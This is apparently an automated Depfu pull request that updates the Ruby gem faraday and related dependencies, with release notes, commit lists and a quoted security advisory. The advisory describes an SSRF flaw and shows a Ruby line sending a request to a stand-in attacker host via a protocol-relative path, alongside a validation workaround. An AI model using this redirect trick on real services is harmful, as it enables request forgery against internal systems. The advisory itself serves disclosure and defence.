🚨 [security] Update faraday 1.0.1 → 1.10.5 (minor)

[depfu]

---

Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!

---

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ faraday (indirect, 1.0.1 → 1.10.5) · Repo · Changelog

Security Advisories 🚨

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ multipart-post (indirect, 2.1.1 → 2.4.1) · Repo · Changelog

Release Notes

2.4.0

What's Changed

• Drop old ruby versions to get coverage to 100%. by @ioquatix in #103
• Add Ruby 3.3 to CI matrix by @m-nakamura145 in #106
• Add support for CompositeReadIO#close. by @ioquatix in #107
• Modernize gem. by @ioquatix in #108

New Contributors

• @m-nakamura145 made their first contribution in #106

Full Changelog: v2.3.0...v2.4.0

2.3.0

What's Changed

• Move deprecated constants into dedicated files. by @ioquatix in #99
• Adds Ruby 3.2 to the CI matrix. Updates checkout actions versions. by @petergoldstein in #100
• Modernize gem by @ioquatix in #101
• Add support for coverage. by @ioquatix in #102

New Contributors

• @petergoldstein made their first contribution in #100

Full Changelog: v2.2.3...v2.3.0

2.2.3

What's Changed

• Restore compatibility back to Ruby 2.3 by @ioquatix in #95

Full Changelog: v2.2.2...v2.2.3

2.2.2

What's Changed

• Drop Ruby 2.5 or earlier by @tnir in #93

New Contributors

• @tnir made their first contribution in #93

Full Changelog: v2.2.0...v2.2.2

2.2.0

What's Changed

• Add the ability to set Content-ID header for ParamPart by @ethnt in #62
• Add note on semantic versioning to README by @jspanjers in #64
• Refactor parts into multipart post namespace by @patrickdavey in #65
• Add Patrick Davey to the copyright by @patrickdavey in #66
• CI: add 2.7 by @olleolleolle in #67
• Explain setting parts_headers in README by @Timothyjb in #68
• CI GitHub actions by @Lewiscowles1986 in #72
• parts.rb: Use a mutable string by @olleolleolle in #70
• README: Use build status badge for GitHub Actions by @olleolleolle in #74
• cleanup: Drop unused Travis CI configuration file by @olleolleolle in #73
• Frozen string for entire library by @Lewiscowles1986 in #75
• Use frozen_string_literal: true. by @ioquatix in #78
• CI: Add Ruby 3.1 to testing matrix by @olleolleolle in #80
• Add a CHANGELOG.md by @olleolleolle in #84
• README: Add syntax highlighting to examples by @olleolleolle in #83
• Allow mixed key types for parts headers by @jasonyork in #79
• Modernize gem. by @ioquatix in #85
• CHANGELOG: add #79 by @olleolleolle in #88
• Rework file structure & license header. by @ioquatix in #89
• Add faraday-multipart as external test. by @ioquatix in #90
• Add more external tests. by @ioquatix in #91

New Contributors

• @ethnt made their first contribution in #62
• @jspanjers made their first contribution in #64
• @patrickdavey made their first contribution in #65
• @Timothyjb made their first contribution in #68
• @Lewiscowles1986 made their first contribution in #72
• @ioquatix made their first contribution in #78
• @jasonyork made their first contribution in #79

Full Changelog: v2.1.1...v2.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 59 commits:

• Bump patch version.
• Modernize gem.
• Bump minor version.
• Modernize gem.
• Add support for `CompositeReadIO#close`. (#107)
• Add Ruby 3.3 to CI matrix (#106)
• Don't test external dependencies on Ruby 2.7 (EOL).
• Drop old ruby versions to get coverage to 100%. (#103)
• Bump minor version.
• Ignore coverage database.
• Add support for coverage.
• Modernize gem.
• Adds Ruby 3.2 to the CI matrix. Updates checkout actions versions. (#100)
• Fix github actions.
• Move deprecated constants into dedicated files.
• Bump patch version.
• Add support for Ruby back to 2.3. (#95)
• Bump patch version.
• Bump patch version.
• Drop Ruby 2.5 or earlier (#93)
• Bump minor version.
• Modernize gem.
• Update gitignore for external directory.
• Add more external tests. (#91)
• Add faraday-multipart as external test. (#90)
• Rework file structure & license header.
• CHANGELOG: add #79
• Modernize gem.
• Update test description
• Allow mixed key types for parts headers
• README: Add syntax highlighting to examples
• Add a CHANGELOG.md
• CI: Add Ruby 3.1
• Prefer `require_relative` in gemspec.
• Use `frozen_string_literal: true`.
• Fix tests by using String.new
• Less runtime versions & Frozen string literal ENV
• cleanup: Drop unused Travis CI configuration file
• README: Use build status badge for GitHub Actions
• Delete History.txt
• parts.rb: use String.new for mutable strings
• parts.rb: Use a mutable string
• Remove OSx and Windows
• Add more OS's
• Fix version of setup-ruby
• Retry versions
• Remove versions lower than 2.4
• Port Travis yaml
• Explain setting parts_headers in README
• Tidy up license.
• CI: add 2.7
• add Patrick Davey to the copyright
• Move multipartable out into Multipart namespace
• Move CompositeReadIO into namespace
• Refactor namespaces used.
• Add rspec_status to gitignore
• Add note on semantic versioning to README
• Fix comments for ParamPart#build_part
• Add the ability to set Content-ID header for ParamPart

🆕 faraday-em_http (added, 1.0.0)

🆕 faraday-em_synchrony (added, 1.0.1)

🆕 faraday-excon (added, 1.1.0)

🆕 faraday-httpclient (added, 1.0.1)

🆕 faraday-multipart (added, 1.2.0)

🆕 faraday-net_http (added, 1.0.2)

🆕 faraday-net_http_persistent (added, 1.2.0)

🆕 faraday-patron (added, 1.0.0)

🆕 faraday-rack (added, 1.0.0)

🆕 faraday-retry (added, 1.0.3)

🆕 ruby2_keywords (added, 0.0.5)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)